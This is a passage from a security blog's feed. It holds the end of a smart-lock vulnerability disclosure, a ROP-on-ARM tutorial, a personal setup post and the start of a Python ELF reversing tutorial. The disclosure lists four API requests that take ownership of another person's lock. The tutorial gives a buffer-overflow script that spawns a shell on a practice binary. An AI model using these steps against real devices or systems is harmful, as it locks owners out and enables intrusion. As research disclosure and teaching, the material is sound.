656<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
657
658<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
659but that didn’t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
660
661<h3 id="via-the-android-app">Via the Android app</h3>
662
663<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn’t get us too
664far since most of it was obfuscated. Why bother when there exists an
665easier approach – BurpSuite.</p>
666
667<p>We captured and played around with a bunch of requests and responses,
668and finally arrived at a working exploit chain.</p>
669
670<h3 id="the-exploit">The exploit</h3>
671
672<p>The entire exploit is a 4 step process consisting of authenticated
673HTTP requests:</p>
674
675<ol>
676<li>Using the lock’s MAC (obtained via a simple Bluetooth scan in the
677vicinity), get the barcode and lock ID</li>
678<li>Using the barcode, fetch the user ID</li>
679<li>Using the lock ID and user ID, unbind the user from the lock</li>
680<li>Provide a new name, attacker’s user ID and the MAC to bind the attacker
681to the lock</li>
682</ol>
683
684<p>This is what it looks like, in essence (personal info redacted).</p>
685
686<h4 id="request-1">Request 1</h4>
687
688<pre><code>POST /oklock/lock/queryDevice
689{"mac":"XX:XX:XX:XX:XX:XX"}
690</code></pre>
691
692<p>Response:</p>
693
694<pre><code>{
695 "result":{
696 "alarm":0,
697 "barcode":"<BARCODE>",
698 "chipType":"1",
699 "createAt":"2019-05-14 09:32:23.0",
700 "deviceId":"",
701 "electricity":"95",
702 "firmwareVersion":"2.3",
703 "gsmVersion":"",
704 "id":<LOCK ID>,
705 "isLock":0,
706 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
707 "lockPwd":"000000",
708 "mac":"XX:XX:XX:XX:XX:XX",
709 "name":"lock",
710 "radioName":"BlueFPL",
711 "type":0
712 },
713 "status":"2000"
714}
715</code></pre>
716
717<h4 id="request-2">Request 2</h4>
718
719<pre><code>POST /oklock/lock/getDeviceInfo
720
721{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}
722</code></pre>
723
724<p>Response:</p>
725
726<pre><code> "result":{
727 "account":"email@some.website",
728 "alarm":0,
729 "barcode":"<BARCODE>",
730 "chipType":"1",
731 "createAt":"2019-05-14 09:32:23.0",
732 "deviceId":"",
733 "electricity":"95",
734 "firmwareVersion":"2.3",
735 "gsmVersion":"",
736 "id":<LOCK ID>,
737 "isLock":0,
738 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
739 "lockPwd":"000000",
740 "mac":"XX:XX:XX:XX:XX:XX",
741 "name":"lock",
742 "radioName":"BlueFPL",
743 "type":0,
744 "userId":<USER ID>
745 }
746</code></pre>
747
748<h4 id="request-3">Request 3</h4>
749
750<pre><code>POST /oklock/lock/unbind
751
752{"lockId":"<LOCK ID>","userId":<USER ID>}
753</code></pre>
754
755<h4 id="request-4">Request 4</h4>
756
757<pre><code>POST /oklock/lock/bind
758
759{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}
760</code></pre>
761
762<h3 id="thats-it-the-scary-stuff">That’s it! (& the scary stuff)</h3>
763
764<p>You should have the lock transferred to your account. The severity of this
765issue lies in the fact that the original owner completely loses access to
766their lock. They can’t even “rebind” to get it back, since the current owner
767(the attacker) needs to authorize that. </p>
768
769<p>To add to that, roughly 15,000 user accounts’ info are exposed via IDOR.
770Ilja, a cool dude I met on Telegram, noticed locks named “carlock”,
771“garage”, “MainDoor”, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
772
773<p><em>shudders</em></p>
774
775<h3 id="proof-of-concept">Proof of Concept</h3>
776
777<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
778
779<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
780
781<h3 id="disclosure-timeline">Disclosure timeline</h3>
782
783<ul>
784<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
785<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
786<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
787<li>No response from vendor</li>
788<li><strong>2nd August 2019</strong>: Public disclosure</li>
789</ul>
790
791<h3 id="lessons-learnt">Lessons learnt</h3>
792
793<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You’re better off with the “dumb” ones
794with keys. With the IoT plague spreading, it brings in a large attack surface
795to things that were otherwise “unhackable” (try hacking a “dumb” toaster).</p>
796
797<p>The IoT security scene is rife with bugs from over 10 years ago, like
798executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development
799practices in general.</p>
800
801<p>Our existing threat models and scenarios have to be updated to factor
802in these new exploitation possibilities. This also broadens the playing
803field for cyber warfare and mass surveillance campaigns. </p>
804
805<h3 id="researcher-info">Researcher info</h3>
806
807<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
808
809<ul>
810<li>Anirudh Oppiliappan (me)</li>
811<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
812<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
813</ul>
814
815<div class="footnotes">
816<hr />
817<ol>
818<li id="fn-1">
819<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
820</li>
821
822<li id="fn-2">
823<p>Thanks to Ilja Shaposhnikov (@drakylar). <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
824</li>
825
826<li id="fn-3">
827<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
828</li>
829</ol>
830</div>
831]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
832assembly to follow along. I highly recommend
833<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
834Basics</a>. Once you’re
835comfortable with it, proceed with the next bit — environment setup.</p>
836
837<h3 id="setup">Setup</h3>
838
839<p>Since we’re working with the ARM architecture, there are two options to go
840forth with: </p>
841
842<ol>
843<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU.
844And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
845The scripts found inside should be self-explanatory.</li>
846<li>Use actual ARM hardware, like an RPi.</li>
847</ol>
848
849<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
850may use <code>radare2</code>, IDA or anything else, really. All of which can be
851trivially installed.</p>
852
853<p>And for the sake of simplicity, disable ASLR:</p>
854
855<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> > /proc/sys/kernel/randomize_va_space
856</code></pre></div>
857
858<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
859<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
860
861<p>Compile it:</p>
862
863<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
864</code></pre></div>
865
866<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
867
868<h3 id="a-primer-on-rop">A primer on ROP</h3>
869
870<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
871used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
872In essence, no code in the binary is actually modified and the entire exploit
873is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
874
875<p>A gadget is essentially a small sequence of code (instructions), ending with
876a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
877code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
878These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
879to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
880there’s generally a call to <code>system()</code>, to acheive code execution.</p>
881
882<p>In practice, the process of executing a ropchain is something like this:</p>
883
884<ul>
885<li>confirm the existence of a stack-based buffer overflow</li>
886<li>identify the offset at which the instruction pointer gets overwritten</li>
887<li>locate the addresses of the gadgets you wish to use</li>
888<li>craft your input keeping in mind the stack’s layout, and chain the addresses
889of your gadgets</li>
890</ul>
891
892<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s">beautiful video</a> where he explains ROP using “weird machines”.
893Check it out, it might be just what you needed for that “aha!” moment :)</p>
894
895<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
896that should put things into perspective.</p>
897
898<h3 id="exploring-our-binary">Exploring our binary</h3>
899
900<p>Start by running it, and entering any arbitrary string. On entering a fairly
901large string, say, “A” × 20, we
902see a segmentation fault occur.</p>
903
904<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
905
906<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
907
908<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
909
910<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and
911<code>gadget</code>. Disassembling the <code>main</code> function:</p>
912
913<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
914
915<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
916to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are
917never actually called.</p>
918
919<p>Disassembling the <code>gadget</code> function:</p>
920
921<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
922
923<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
924which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
925instruction in the middle. This is a <strong>gadget</strong>.</p>
926
927<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
928arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
929are used for this. So this gadget effectively allows us to pass arguments to
930functions using <code>r0</code>, and subsequently jumping to them by passing its address
931in <code>pc</code>. Neat.</p>
932
933<p>Moving on to the disassembly of the <code>winner</code> function:</p>
934
935<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
936
937<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
938So our end goal here is to, quite obviously, execute code via the <code>system()</code>
939function.</p>
940
941<p>Now that we have an overview of what’s in the binary, let’s formulate a method
942of exploitation by messing around with inputs.</p>
943
944<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3>
945
946<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
947screenshot.</p>
948
949<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
950
951<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
952the <code>pc</code> has been overwritten with our input.
953So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
954
955<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
956control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
957
958<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
959of the second instruction — <code>add r11, sp, #4</code>.
960For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
961the address of <code>winner</code>. Note the endianness.</p>
962
963<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")'</span> <span class="p">|</span> ./rop2
964</code></pre></div>
965
966<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
967
968<p>The reason we don’t jump to the first instruction is because we want to control the stack
969ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
970those out after <code>winner</code> is done executing and we will no longer control
971where it jumps to.</p>
972
973<p>So that didn’t do much, just prints out a string “Nothing much here…”.
974But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
975to do what we want (run a command, execute a shell, etc.).</p>
976
977<p>To do that, we’ll follow a multi-step process: </p>
978
979<ol>
980<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
981<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
982<code>r0</code>.</li>
983<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
984</ol>
985
986<p>The pseudo-code is something like this:</p>
987
988<pre><code>string = AAAABBBBCCCCDDDDEEEE
989gadget = # addr of gadget
990binsh = # addr of /bin/sh
991system = # addr of system()
992
993print(string + gadget + binsh + system)
994</code></pre>
995
996<p>Clean and mean.</p>
997
998<h3 id="the-exploit">The exploit</h3>
999
1000<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
1001It allows us to pack the bytes of addresses to the endianness of our choice.
1002It probably does a lot more, but who cares.</p>
1003
1004<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
1005at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
1006
1007<pre><code>(gdb) find &system, +9999999, "/bin/sh"
1008</code></pre>
1009
1010<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
1011
1012<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
1013found from the disassmblies from earlier. Here’s the final exploit code:</p>
1014
1015<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
1016
1017<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
1018<span class="n">string</span> <span class="o">=</span> <span class="s2">"AAAABBBBCCCCDDDDEEEE"</span>
1019<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
1020<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
1021
1022<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
1023</code></pre></div>
1024
1025<p>Honestly, not too far off from our pseudo-code :)</p>
1026
1027<p>Let’s see it in action:</p>
1028
1029<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
1030
1031<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
1032when the pipe closes, since there’s no input coming in from STDIN.
1033To get around this, we use <code>cat(1)</code> which allows us to relay input through it
1034to the shell. Nifty trick.</p>
1035
1036<h3 id="conclusion">Conclusion</h3>
1037
1038<p>This was a fairly basic challenge, with everything laid out conveniently.
1039Actual ropchaining is a little more involved, with a lot more gadgets to be chained
1040to acheive code execution.</p>
1041
1042<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
1043]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h3 id="hardware">Hardware</h3>
1044
1045<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
10468 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
1047
1048<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
1049I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
1050
1051<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
1052
1053<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>.
1054For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
1055
1056<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>.
1057Great pair of headphones, although the ear cups need replacing.</p>
1058
1059<h3 id="and-the-software">And the software</h3>
1060
1061<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
1062window manager, all riced. I now use whatever JustWorks™.</del></p>
1063
1064<p><strong>Update</strong>: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install,
1065running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
1066
1067<p>Here’s a (riced) screenshot of my desktop. </p>
1068
1069<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
1070
1071<p>Most of my work is done in either the browser, or the terminal.
1072My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
1073a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>.
1074My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
1075I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
1076
1077<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
1078clean and a single command to drop into a Kali shell.</p>
1079
1080<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
1081The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
1082
1083<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
1084]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
1085
1086<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
1087
1088<h3 id="setup">Setup</h3>
1089
1090<p>As the title suggests, you’re going to need a Python 3 interpreter before
1091anything else. Once you’ve confirmed beyond reasonable doubt that you do,
1092in fact, have a Python 3 interpreter installed on your system, run</p>
1093
1094<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
1095</code></pre></div>
1096
1097<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
1098
1099<p>With that out of the way, let’s start with an example of a basic reversing
1100challenge.</p>
1101
1102<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
1103
1104<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
1105<span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
1106<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
1107
1108<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
1109 <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
1110 <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'a'</span><span class="p">;</span>
1111 <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
1112 <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
1113 <span class="p">}</span>
1114 <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
1115 <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
1116 <span class="n">printf</span><span class="p">(</span><span class="s">"password: "</span><span class="p">);</span>
1117 <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="c1">// 'abcdefghi'</span>
1118 <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
1119 <span class="n">printf</span><span class="p">(</span><span class="s">"haha yes!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
1120 <span class="p">}</span>
1121 <span class="k">else</span> <span class="p">{</span>
1122 <span class="n">printf</span><span class="p">(</span><span class="s">"nah dude</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
1123 <span class="p">}</span>
1124<span class="p">}</span>
1125</code></pre></div>
1126
1127<p>Compile it with GCC/Clang:</p>
1128
1129<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
1130</code></pre></div>
1131
1132<h3 id="scripting">Scripting</h3>
1133
1134<p>For starters, let’s look at the different sections present in the binary.</p>
1135
1136<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
1137
1138<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1139
1140<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1141 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1142 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1143 <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
1144</code></pre></div>
1145
1146<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
1147
1148<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
1149<span class="go">0x238 .interp</span>
1150<span class="go">0x254 .note.ABI-tag</span>
1151<span class="go">0x274 .note.gnu.build-id</span>
1152<span class="go">0x298 .gnu.hash</span>
1153<span class="go">0x2c0 .dynsym</span>
1154<span class="go">0x3e0 .dynstr</span>
1155<span class="go">0x484 .gnu.version</span>
1156<span class="go">0x4a0 .gnu.version_r</span>
1157<span class="go">0x4c0 .rela.dyn</span>
1158<span class="go">0x598 .rela.plt</span>
1159<span class="go">0x610 .init</span>
1160<span class="go">0x630 .plt</span>
1161<span class="go">0x690 .plt.got</span>
1162<span class="go">0x6a0 .text</span>
1163<span class="go">0x8f4 .fini</span>
1164<span class="go">0x900 .rodata</span>
1165<span class="go">0x924 .eh_frame_hdr</span>
1166<span class="go">0x960 .eh_frame</span>
1167<span class="go">0x200d98 .init_array</span>
1168<span class="go">0x200da0 .fini_array</span>
1169<span class="go">0x200da8 .dynamic</span>
1170<span class="go">0x200f98 .got</span>
1171<span class="go">0x201000 .data</span>
1172<span class="go">0x201010 .bss</span>
1173<span class="go">0x0 .comment</span>
1174<span class="go">0x0 .symtab</span>
1175<span class="go">0x0 .strtab</span>
1176<span class="go">0x0 .shstrtab</span>
1177</code></pre></div>
1178
1179<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
1180
1181<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
1182
1183<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
1184
1185<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1186<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
1187
1188<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./bin.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1189 <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1190 <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">'.text'</span><span class="p">)</span>
1191 <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
1192 <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]</span>
1193 <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
1194 <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>
1195 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}'</span><span class="p">)</span>
1196</code></pre></div>
1197
1198<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
1199
1200<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less </span>
1201<span class="go">0x6a0: xor ebp, ebp</span>
1202<span class="go">0x6a2: mov r9, rdx</span>
1203<span class="go">0x6a5: pop rsi</span>
1204<span class="go">0x6a6: mov rdx, rsp</span>
1205<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
1206<span class="go">0x6ad: push rax</span>
1207<span class="go">0x6ae: push rsp</span>
1208<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
1209<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
1210<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
1211<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
1212<span class="go">0x6ca: hlt</span>
1213<span class="go">... snip ...</span>
1214</code></pre></div>
1215
1216<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
1217
1218<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
1219
1220<blockquote>
1221 <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
1222</blockquote>
1223
1224<p>To try and find these relocation entries, we write a third script.</p>
1225
